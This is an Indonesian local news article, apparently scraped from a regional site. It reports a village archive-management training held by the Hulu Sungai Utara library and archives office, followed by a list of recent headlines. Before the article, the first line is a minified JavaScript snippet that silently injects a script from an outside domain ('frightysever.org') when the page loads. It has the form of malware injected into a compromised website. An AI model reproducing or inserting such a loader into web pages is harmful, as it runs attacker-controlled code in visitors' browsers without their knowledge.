(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Dispersip HSU Kembali Gelar Bimtek Pendataan dan Penataan Arsip Desa


AMUNTAI, Setelah di awal tahun 2019 memberikan Bimbingan Teknis (Bintek) bagi SKPD di lingkungan Pemerintah Kabupaten Hulu Sungai Utara (HSU), kini Dinas Perpustakaan dan Kearsipan (Dispersip) kembali mengadakan Bimtek Pendataan dan Penataan Arsip bagi desa-desa se Kabupaten HSU. Acara dikemas dalam tema ‘Wujudkan Desa Sadar dan Tertib Arsip Menuju HSU Mantab.’

Kegiatan diawali di balai Desa Kembang Kuning, Senin (26/3) yang dihadiri Kepala Desa, Sekretaris Desa, Ketua RT dari beberapa desa di Kecamatan Amuntai Tengah. Diantaranya, Desa Kembang Kuning, Desa Kota Raden Hilir, Desa Kandang Halang, Desa Pasar Senin, dan Desa Rantauan.

Kabid Pembinaan dan Pengawasan Kearsipan Dispersip HSU H Karyanadi dalam arahannya menekankan pentingnya kearsipan bagi para aparat desa. Hal ini sebagai salah satu dari hasil pertanggung jawaban kegiatan desa selama periode tertentu.

“Arsip adalah rekaman kegiatan atau peristiwa dalam bentuk berbagai bentuk media sesuai dengan perkembangan teknologi informasi dan komunikasi yang di buat dan diterima oleh pemerintah daerah dalam pelaksanaan kehidupan bermasyarakat, berbangsa, dan bernegara” jelasnya.

Sementara tugas pokok Dinas Perpustakaan dan Kearsipan adalah memberikan bimbingan tentang pengelolaan arsip desa. Ia mengakui, hampir sebagian besar desa masih memerlukan bimbingan untuk penataan arsip desa. Baik untuk kepala desa, sekretaris desa, dan pejabat desa lainnya yang telah mendapatkan gaji oleh pemerintah daerah diwajibkan memberikan manfaat bagi daerah. Salah satunya adalah dengan kelengkapan arsip desa.

Karyanadi menambahkan, peraturan daerah mengharuskan pemerintah desa harus mempersiapkan dan menjamin ketersediaan arsip yang otentik dan terpercaya. “Setiap tahun kami dari Dinas Perpustakaan dan Kearsipan Kabupaten HSU akan melakukan audit hasil arsip misalnya berupa buku laporan pertanggung jawaban yang telah dibuat oleh kepala desa,” katanya.

Untuk itu, ia mengharapkan agar selalu ada koordinasi antara kepala desa kepada sekretaris desa, dan sekretaris desa mengumumkan ke ketua RT. “Jadi pada tiap tanggal 31 Desember harus sudah ada laporan seperti hasil rapat, kegiatan kemasyarakatan dan lain-lain yang diserahkan ke Pemerintah Daerah. Dari arsip desa dapat kita lihat bagaimana kinerja desa setiap tahunnya,” pungkasnya. (dew)

Reporter : Dew
Editor : Chell

Desy Arfianty

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

13 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

13 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

14 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

14 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

15 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

17 jam ago

This website uses cookies.